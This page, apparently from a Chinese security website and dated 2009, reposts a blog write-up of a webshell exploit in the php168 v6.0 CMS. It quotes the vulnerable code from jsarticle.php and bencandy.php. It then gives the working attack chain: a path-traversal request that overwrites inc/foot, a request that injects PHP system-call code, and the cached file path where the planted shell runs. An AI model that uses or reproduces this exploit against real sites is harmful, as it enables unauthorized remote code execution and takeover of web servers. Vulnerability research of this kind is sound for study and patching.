首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>漏洞资料>文章内容
php168 v6.0拿shell漏洞
来源:http://hi.baidu.com/mr_xhming/blog/ 作者:mr_xhming 发布时间:2009-12-11  

分两步 第一 do/下jsarticle.php文件
if(!eregi("^(hot|com|new|lastview|like|pic)$",$type)){
die("类型有误");
}
$FileName=dirname(__FILE__)."/../cache/jsarticle_cache/";
if($type=='like'){
$FileName.=floor($id/3000)."/";
}else{
unset($id);
}

$FileName.="{$type}_{$fid}_{$id}.php";
..................
if(!is_dir(dirname($FileName))){
makepath(dirname($FileName));
}
if( (time()-filemtime($FileName))>($webdb["cache_time_$type"]*60) ){
write_file($FileName,"<?php \r\n\$show=stripslashes('".addslashes($show)."'); ?>");

                                             //write_file上面覆盖任意php文件!因为id没过滤

}

第二 do/bencandy.php文件
require_once(dirname(__FILE__)."/"."global.php");
!$aid && $aid = intval($id);
$id = $aid;
$page<1 && $page=1;

$min=intval($page)-1;
$erp=$Fid_db[iftable][$fid]?$Fid_db[iftable][$fid]:'';
$rsdb=$db->get_one("SELECT R.*,A.* FROM {$pre}article$erp A LEFT JOIN {$pre}reply$erp R ON A.aid=R.aid WHERE A.aid=$aid ORDER BY R.topic DESC,R.orderid ASC LIMIT $min,1");

if(!$rsdb){
showerr("数据不存在!");
}elseif($fid!=$rsdb[fid]){
showerr("FID有误");
}
........................
$Cache_FileName=PHP168_PATH."cache/bencandy_cache/".floor($id/3000)."/{$id}_{$page}.php";
if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))<($webdb[bencandy_cache_time]*60)){
echo read_file($Cache_FileName);
exit;
}
..................................

if(!$jobs&&$webdb[bencandy_cache_time]&&(time()-filemtime($Cache_FileName))>($webdb[bencandy_cache_time]*60)){

if(!is_dir(dirname($Cache_FileName))){
   makepath(dirname($Cache_FileName));
}
$content.="<SCRIPT LANGUAGE='JavaScript' src='$webdb[www_url]/do/job.php?job=updatehits&aid=$id'></SCRIPT>";
write_file($Cache_FileName,$content);      //注意这里写文件了
}elseif($jobs=='show'){
@unlink($Cache_FileName);
}
到这里大概问题也差不多搞清楚了,我们看下$content,其实它是作过初始化的,往上可以看到require(PHP168_PATH."inc/foot.php");这样一句,初始化就在这里,我们利用第一个问题,覆盖这文件里的内容,接下来我们就可以直接提交$content变量注入shell代码了!

       利用:
      do/jsarticle.php?type=like&id=xhming/../../../../inc/foot
      do/bencandy.php?fid=4&id=582&content=<?system($xhming);phpinfo()?>
      cache/bencandy_cache/0/582_1.php   //记住id值,由于有缓存和时间的判断每一步要等会


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·XSOK环境变量本地命令执行漏洞
·N点虚拟主机管理系统 致命漏洞。
·南方数据企业网站管理系统V10.0
·动网(DVBBS)Version 8.2.0 后
·Solaris 10 telnet漏洞及解决
·破解无线路由器密码,常见无线密
·Nginx %00空字节执行php漏洞
·WinWebMail、7I24提权漏洞
·XPCD xpcd-svga本地缓冲区溢出漏
·Struts2多个漏洞简要分析
·ecshop2.72 api.php 文件鸡肋注
·Discuz!后台拿Webshell 0day
  相关文章
·Google Wave XSS(Unpatched)
·对Fckeditor的一些漏洞总结
·Discuz!的最新拿Webshell法,测
·MvMmall漏洞分析
·supersite7.5找回密码的鸡肋问题
·PHPMPS 0day
·PHP漏洞全解(六)-跨网站请求伪造
·PHP漏洞全解(五)-SQL注入攻击
·dvbbs 8.2前台0day
·PHP漏洞全解(四)-xss跨站脚本攻
·PHP漏洞全解(三)-客户端脚本植入
·PHP漏洞全解(二)-命令注入攻击
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved